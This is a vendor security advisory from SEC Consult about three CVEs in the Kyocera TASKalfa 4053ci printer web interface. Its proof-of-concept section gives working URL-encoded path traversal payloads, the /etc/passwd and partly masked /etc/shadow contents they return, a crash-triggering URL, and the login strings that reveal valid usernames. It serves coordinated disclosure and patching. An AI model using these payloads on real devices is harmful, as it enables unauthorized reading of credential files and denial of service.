SEC Consult Vulnerability Lab Security Advisory < 20230705-0 >
=======================================================================
title: Path traversal bypass & Denial of service
product: Kyocera TASKalfa 4053ci printer
vulnerable version: TASKalfa 4053ci Version <= 2VG_S000.002.561
fixed version: 2VG_S000.002.574
CVE numbers: CVE-2023-34259, CVE-2023-34260, CVE-2023-34261
impact: High
homepage: https://global.kyocera.com
found: 2022-12-13
by: Stefan Michlits (Office Vienna)
Gorazd Jank (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Kyocera Document Solutions is leading the digital shift driving productivity
and growth in the printing industry. We offer a range of exciting new options
that draw on the combined resources of the Kyocera Group."
Source: https://www.kyoceradocumentsolutions.com/en/our-business/inkjet/
Business recommendation:
------------------------
SEC Consult recommends Kyocera customers to install the latest updates.
Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.
Vulnerability overview/description:
-----------------------------------
1) Path Traversal - Bypass (CVE-2023-34259)
A path traversal vulnerability was found by Hakan Eren ŞAN in 2020-06-06.
The previous exploit can be found at: https://www.exploit-db.com/exploits/48561
Kyocera has fixed the vulnerability. It was not possible to access arbitrary
files using the public exploit. However, SEC Consult have found a bypass to
exploit this vulnerability again and access arbitrary files. Due to the fact
that the web service is running as the user root, it was possible to access all
files (e.g. /etc/shadow) on the device.
2) Denial-of-Service - Web Interface (CVE-2023-34260)
The denial-of-service vulnerability is related to the path traversal
vulnerability. Instead of requesting a file, a directory will be requested.
Once the request is sent to the web service running on TCP port 443, the web
service will become unresponsive and must be restarted.
3) User Enumeration (CVE-2023-34261)
The login function on the web service running on TCP port 443 is prone to a
user enumeration vulnerability. The login function will return different
responses, whether the username is valid or not.
Proof of concept:
-----------------
1) Path Traversal - Bypass (CVE-2023-34259)
Previously, a security researcher has discovered an unauthenticated directory
traversal vulnerability in the web service running on port 443. The following
payload was used to access arbitrary files:
https://IP/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
This vulnerability is fixed in the current version. It was not possible to
access arbitrary files using the above payload. However, the vulnerability was
not fixed correctly. SEC Consult identified a bypass to exploit this
vulnerability again.
Once the ../ sequences will be URL encoded, it is possible to bypass the fix
and access arbitrary files. The following payload can be used to access the
file /etc/passwd:
https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm
The response containing the contents of the file /etc/passwd can be seen
in the following paragraph.
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Length: 770
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:1000:Linux User,,,:/var/run/sshd:/bin/false
-------------------------------------------------------------------------------
Also, it was possible to access the file /etc/shadow. The following payload can
be used:
https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow%00index.htm
The output containing the content of the file /etc/shadow as it can be seen in
the following paragraph.
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Length: 401
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
root:$1$tfE2pkl/$O8uDq*************bSH.:11029::::::
daemon:*:11029::::::
bin:*:11029::::::
sys:*:11029::::::
sync:*:11029::::::
games:*:11029::::::
man:*:11029::::::
lp:*:11029::::::
mail:*:11029::::::
news:*:11029::::::
uucp:*:11029::::::
proxy:*:11029::::::
www-data:*:11029::::::
backup:*:11029::::::
list:*:11029::::::
irc:*:11029::::::
gnats:*:11029::::::
nobody:*:11029::::::
sshd:x:11029::::::
-------------------------------------------------------------------------------
As the web service is running as the user root it was possible to access the
/etc/shadow file or the file has set the wrong permissions.
Based on previous security assessments of Kyocera printers, it is likely that
the service is running as the user root.
2) Denial-of-Service - Web Interface (CVE-2023-34260)
To trigger the DoS attack it is sufficient to navigate to the URL:
https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%00index.htm
Once the request is sent to the web service, the web service will become
unresponsive.
This attack is related to the path traversal vulnerability. The difference is
that in this case a folder is requested instead of a file. Apparently, this
leads to an error condition in the web server causing it to be unresponsive for
all users. Other applications offering a web interface (e.g., on port 8083)
seem to not be affected by the attack.
3) User Enumeration (CVE-2023-34261)
The user enumeration is located in the login functionality of the web
interface. Submitting an existing username will result in a different server
response than submitting an incorrect username. This enables attackers to
enumerate existing users by submitting potential usernames till a different
response is gathered. In this case, it does not matter whether the transmitted
password is correct or not. The gathered information could be used to better
search for default passwords or custom passwords inside of public password
leaks.
In case, the username does not exist, the response will return
"Login-Benutzername oder Passwort falsch.", on the other hand, if the
username exists the response contains "Sie können sich nicht einloggen."
Vulnerable / tested versions:
-----------------------------
The following product has been tested:
* Kyocera TASKalfa 4053ci
All versions older than "2VG_S000.002.561" are vulnerable according to the
vendor.
Vendor contact timeline:
------------------------
2023-02-13: Asking for Kyocera KC-SIRT security contact through Nippon CSIRT
Association; quick response:
https://www.nca.gr.jp/member/kc-sirt.html
(it seems only the Japanese website shows the email information)
2023-02-14: Contacting Kyocera KC-SIRT through kc-s...@gp.kyocera.jp
2023-03-02: Contacting the vendor again, due to no response.
2023-03-06: Vendor response, KDC-PSIRT is responsible, requesting security
advisory.
2023-03-13: Sending security advisory PGP-encrypted.
2023-04-19: Vendor response, vulnerabilities confirmed.
2023-05-19: Vendor response, the vulnerabilities were fixed. The patch will be
released on 2023-05-26.
2023-05-22: Informing vendor that we will request CVE numbers, asking for
information about affected & fixed version numbers.
2023-05-24: Vendor provides version information.
2023-06-02: Sending CVE numbers to vendor, asking for link to patch download.
2023-06-05: Vendor provides download information.
2023-07-05: Public release of security advisory.
Solution:
---------
The vendor provided the following download information:
There are two ways to update the firmware of our products.
* One is to contact the shop of purchase and update the firmware from a service
person.
* The other is to use the Firmware Upgrade tool. From the Kyocera Document
Solutions
Global website in your country, you can download this tool and latest
firmware.
Then you update the firmware yourself.
See: https://www.kyoceradocumentsolutions.com/download/ and choose
"TASKalfa4053ci"
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
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EOF S. Michlits, G. Jank / @2023
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